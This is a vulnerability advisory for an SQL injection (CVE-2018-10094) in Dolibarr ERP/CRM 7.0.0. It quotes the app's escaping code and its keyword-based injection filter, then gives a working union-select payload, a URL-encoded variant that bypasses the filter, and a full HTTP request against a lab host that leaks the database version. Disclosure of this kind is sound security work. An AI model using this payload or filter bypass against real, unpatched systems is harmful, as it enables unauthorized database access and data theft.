Description

Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide.

It is available through GitHub or as distribution packages (e.g .deb package).

Threat

The application does not handle user input properly and allows execution of arbitrary SQL commands on the database.

Expectation

Prepared queries should be used in order to avoid SQL injection in user input.

Vulnerability type

CVE ID: CVE-2018-10094

Access Vector: remote

Security Risk: high

Vulnerability: CWE-89

CVSS Base Score: 7.5

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Details

The database connector escapes quotes with the real_escape_string() wrapper. However it is still possible to perform injection on integer parameters without quotes.

mysqli.class.php

    /**
     *  Escape a string to insert data
     *
     *  @param  string  $stringtoencode     String to escape
     *  @return string                      String escaped
     */
    function escape($stringtoencode)
    {
        return $this->db->real_escape_string($stringtoencode);
    }

Additional checks are defined later, which forbit some SQL keywords (e.g union, create, insert). However, by url encoding the payload, these checks are bypassed.

main.inc.php

/**
 * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF).
 *
 * @param       string      $val        Value
 * @param       string      $type       1=GET, 0=POST, 2=PHP_SELF
 * @return      int                     >0 if there is an injection
 */
function test_sql_and_script_inject($val, $type)
{
    $inj = 0;
    // For SQL Injection (only GET are used to be included into bad escaped SQL requests)
    if ($type == 1)
    {
        $inj += preg_match('/updatexml\(/i',     $val);
        $inj += preg_match('/delete\s+from/i',   $val);
        $inj += preg_match('/create\s+table/i',  $val);
        $inj += preg_match('/insert\s+into/i',   $val);
        $inj += preg_match('/select\s+from/i',   $val);
        $inj += preg_match('/into\s+(outfile|dumpfile)/i',  $val);
    }
    if ($type != 2) // Not common, we can check on POST
    {
        $inj += preg_match('/update.+set.+=/i',  $val);
        $inj += preg_match('/union.+select/i',   $val);
        $inj += preg_match('/(\.\.%2f)+/i',      $val);
    }
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    // More on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    $inj += preg_match('/<script/i', $val);
    $inj += preg_match('/<iframe/i', $val);
    $inj += preg_match('/Set\.constructor/i', $val);    // ECMA script 6
    if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
    $inj += preg_match('/base[\s]+href/si', $val);
    $inj += preg_match('/<.*onmouse/si', $val);       // onmousexxx can be set on img or any html tag like <img title='...' onmouseover=alert(1)>
    $inj += preg_match('/onerror\s*=/i', $val);       // onerror can be set on img or any html tag like <img title='...' onerror = alert(1)>
    $inj += preg_match('/onfocus\s*=/i', $val);       // onfocus can be set on input text html tag like <input type='text' value='...' onfocus = alert(1)>
    $inj += preg_match('/onload\s*=/i', $val);        // onload can be set on svg tag <svg/onload=alert(1)> or other tag like body <body onload=alert(1)>
    $inj += preg_match('/onclick\s*=/i', $val);       // onclick can be set on img text html tag like <img onclick = alert(1)>
    $inj += preg_match('/onscroll\s*=/i', $val);      // onscroll can be on textarea
    //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val);   // To lock event handlers onAbort(), ...
    $inj += preg_match('/&#58;|&#0000058|&#x3A/i', $val);       // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...'
    //if ($type == 1)
    //{
        $inj += preg_match('/javascript:/i', $val);
        $inj += preg_match('/vbscript:/i', $val);
    //}
    // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param)
    if ($type == 1) $inj += preg_match('/"/i', $val);       // We refused " in GET parameters value
    if ($type == 2) $inj += preg_match('/[;"]/', $val);     // PHP_SELF is a file system path. It can contains spaces.
    return $inj;
}

Proof of Concept : retrieving the database name.

Payload:

1) union select 0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

Url-encoded payload: %31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
GET /dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
Connection: close
Upgrade-Insecure-Requests: 1

...

</a>
             </td>
             <td>10.1.26-MariaDB-0+deb9u1</td>
             <td>2</td>
             <td></td>
             <td>1</td>
             <td>21</td>
             <td class="nowrap">

Affected versions

  • Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested

Solution

Update to 7.0.2 (changelog)

Timeline (dd/mm/yyyy)

  • 18/03/2018 : Initial discovery
  • 17/04/2018 : Contact with the editor
  • 17/04/2018 : Editor acknowledges the vulnerability
  • 18/04/2018 : Editor announces fixes in version 7.0.2
  • 21/05/2018 : Vulnerability disclosure

Credits

  • Issam RABHI (i dot rabhi at sysdream dot com)
  • Kevin LOCATI (k dot locati at sysdream dot com)